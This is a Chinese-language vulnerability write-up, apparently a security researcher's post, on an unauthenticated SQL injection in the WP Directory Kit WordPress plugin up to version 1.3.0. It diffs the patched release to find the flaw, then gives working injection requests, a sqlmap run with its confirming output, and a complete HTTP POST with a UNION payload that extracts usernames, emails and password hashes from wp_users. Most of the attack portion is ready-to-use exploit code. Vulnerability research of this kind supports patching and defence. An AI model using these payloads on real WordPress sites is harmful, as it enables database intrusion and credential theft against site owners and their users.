适用于 WordPress 的 WP Directory Kit 插件在所有版本(包括 1.3.0 及之前版本)中,由于对用户提供的参数转义不足且对现有 SQL 查询缺乏充分准备,存在通过 'attribute_value' 和 'attribute_id' 参数进行 SQL 注入的漏洞。这使得经过身份验证的攻击者(至少具有订阅者级别访问权限)能够在现有查询中附加额外的 SQL 查询,从而从数据库中提取敏感信息。
我通过 WordPress 安装了正确的版本
https://wordpress.org/plugins/wpdirectorykit/
如果您想要旧版本,请点击高级视图

我们想要下载 1.3.0 和 1.3.1 进行差异比较
https://downloads.wordpress.org/plugin/wpdirectorykit.1.3.0.zip https://downloads.wordpress.org/plugin/wpdirectorykit.1.3.1.zip
当您进行差异比较并搜索 'attribute_value' 和 'attribute_id' 的值时,我在以下文件中找到了它们
\wpdirectorykit\application\controllers\Wdk_frontendajax.php
我在 VS Code 中使用了一个名为“文件夹差异”的扩展

我们可以看到在 1.3.0 版本中使用了函数 "sanitize_text_field",但问题并不直接出现在这里,而是主要更靠下的这一部分

我们可以看到,如果 "$attr_search" 是数值,我们将控制 $id_part = "$attr_id=$attr_search OR "; 这将被用作 SQL 查询的一部分,由于我们不能使用 " ' ",因为它是查询的一部分,我们不需要对其进行转义,可以直接将我们的注入部分包含到代码中
将在这里被使用

现在我们需要创建一个请求来触及这些部分,并为 "$attr_search" 提供一个数值,然后进行注入。根据描述,似乎最低权限是“订阅者级别”,我们稍后会验证这一点。

offset=0&per_page=10&curr_id=&attribute_id=ID=1)or 1=1-- -&attribute_value=display_name&search_term=1&language_id=&skip_id=&user_check=&sql_where=&hide_fields=&page=wdk_frontendajax&function=treefieldid&action=wdk_public_action&table=user_m&filter_ids=&start_id=&empty_value=Not+Selected
offset=0&per_page=10&curr_id=&attribute_id=ID=1)*-- -&attribute_value=display_name&search_term=1&language_id=&skip_id=&user_check=&sql_where=&hide_fields=&page=wdk_frontendajax&function=treefieldid&action=wdk_public_action&table=user_m&filter_ids=&start_id=&empty_value=Not+Selected
现在我们将使用 SQLMAP 进行概念验证测试
python .\sqlmap.py -r .\sql-wpdirectorykit-4.req --dbs --batch --dbms=mysql --flush-session
[17:08:36] [INFO] parsing HTTP request from '.\sql-wpdirectorykit-4.req'
custom injection marker ('*') found in POST body. Do you want to process it? [Y/n/q] Y
[17:08:36] [INFO] flushing session file
[17:08:36] [INFO] testing connection to the target URL
[17:08:37] [INFO] checking if the target is protected by some kind of WAF/IPS
[17:08:37] [INFO] testing if the target URL content is stable
[17:08:38] [INFO] target URL content is stable
[17:08:38] [INFO] testing if (custom) POST parameter '#1*' is dynamic
[17:08:39] [INFO] (custom) POST parameter '#1*' appears to be dynamic
[17:08:39] [WARNING] heuristic (basic) test shows that (custom) POST parameter '#1*' might not be injectable
[17:08:40] [INFO] testing for SQL injection on (custom) POST parameter '#1*'
[17:08:40] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[17:08:44] [INFO] (custom) POST parameter '#1*' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable
[17:08:44] [INFO] testing 'Generic inline queries'
[17:08:44] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[17:08:45] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[17:08:45] [WARNING] time-based comparison requires larger statistical model, please wait.................... (done)
[17:09:11] [INFO] (custom) POST parameter '#1*' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[17:09:11] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[17:09:11] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[17:09:13] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[17:09:18] [INFO] target URL appears to have 34 columns in query
[17:09:36] [INFO] (custom) POST parameter '#1*' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
(custom) POST parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 65 HTTP(s) requests:
---
Parameter: #1* ((custom) POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: offset=0&per_page=10&curr_id=&attribute_id=ID=1) AND 7544=7544-- -&attribute_value=display_name&search_term=1&language_id=&skip_id=&user_check=&sql_where=&hide_fields=&page=wdk_frontendajax&function=treefieldid&action=wdk_public_action&table=user_m&filter_ids=&start_id=&empty_value=Not Selected
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: offset=0&per_page=10&curr_id=&attribute_id=ID=1) AND (SELECT 1253 FROM (SELECT(SLEEP(5)))BUhD)-- -&attribute_value=display_name&search_term=1&language_id=&skip_id=&user_check=&sql_where=&hide_fields=&page=wdk_frontendajax&function=treefieldid&action=wdk_public_action&table=user_m&filter_ids=&start_id=&empty_value=Not Selected
Type: UNION query
Title: Generic UNION query (NULL) - 34 columns
Payload: offset=0&per_page=10&curr_id=&attribute_id=ID=1) UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x7171717871,0x645450444e484b6162547547496545685342754f57475a505641526d4373656c6c50454f61444358,0x7171707671),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- --- -&attribute_value=display_name&search_term=1&language_id=&skip_id=&user_check=&sql_where=&hide_fields=&page=wdk_frontendajax&function=treefieldid&action=wdk_public_action&table=user_m&filter_ids=&start_id=&empty_value=Not Selected
---
[17:09:36] [INFO] the back-end DBMS is MySQL
web application technology: PHP 7.3.29, Apache 2.4.48
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[17:09:37] [INFO] fetching database names
现在让我们尝试找出所需的最低权限。我们从没有 Cookie 开始,0 权限,然后从最低权限逐步构建。

删除 Cookie 后,输出仍然被评估。让我们尝试 sqlmap 的 payload 进行确认。

这是一个概念验证,此类攻击根本不需要任何 Cookie。让我们创建一个简单的 payload 从 wp_users 提取所有值。
POST /wordpress/wp-admin/admin-ajax.php HTTP/1.1
Host: localhost
Content-Length: 551
sec-ch-ua: "Chromium";v="123", "Not:A-Brand";v="8"
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.88 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/wordpress/wp-admin/admin.php?page=wdk_listing&id=10&is_updated=true
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close
offset=0&per_page=10&curr_id=&attribute_id=ID=1) UNION ALL SELECT NULL,NULL,NULL,CONCAT(display_name,0x3a,display_name,0x3a,user_email,0x3a,user_pass),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL from wp_users-- -&attribute_value=display_name&search_term=1&language_id=&skip_id=&user_check=&sql_where=&hide_fields=&page=wdk_frontendajax&function=treefieldid&action=wdk_public_action&table=user_m&filter_ids=&start_id=&empty_value=Not Selected
payload 部分
1) UNION ALL SELECT NULL,NULL,NULL,CONCAT(display_name,0x3a,display_name,0x3a,user_email,0x3a,user_pass),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL from wp_users-- -
注意:您需要将 "search_term" 设置为任意数值,在本示例中为 "1"

完全未经身份验证的完整联合SQL注入